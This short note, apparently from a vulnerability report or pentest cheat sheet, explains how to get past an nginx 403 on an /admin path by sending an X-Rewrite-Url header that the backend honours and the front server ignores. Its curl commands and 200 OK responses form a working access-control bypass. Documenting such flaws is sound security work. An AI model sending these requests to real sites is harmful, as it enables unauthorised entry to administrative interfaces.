Bypass 403 on nginx

Normally a client can’t access /admin directory because of front nginx server which returns 403 Forbidden. We can:

* use `X-Rewrite-Url` or `X-original-url` 
* back server processes these headers and front server doesn't.

Steps to reproduce:

normally

$ curl -i -s -k -X $'GET' -H $'Host: login.example.com' $'https://login.example.com/admin/login'
403 Forbidden
...

bypass (1)

$ curl -i -s -k -X $'GET' -H $'Host: login.example.com' -H $'X-rewrite-url: admin/login' $'https://login.example.com/'
200 OK

bypass (2)

$ curl -i -s -k -X $'GET' -H $'Host: example.ba' -H $'X-rewrite-url: admin' $'https://example.ba/'
200 OK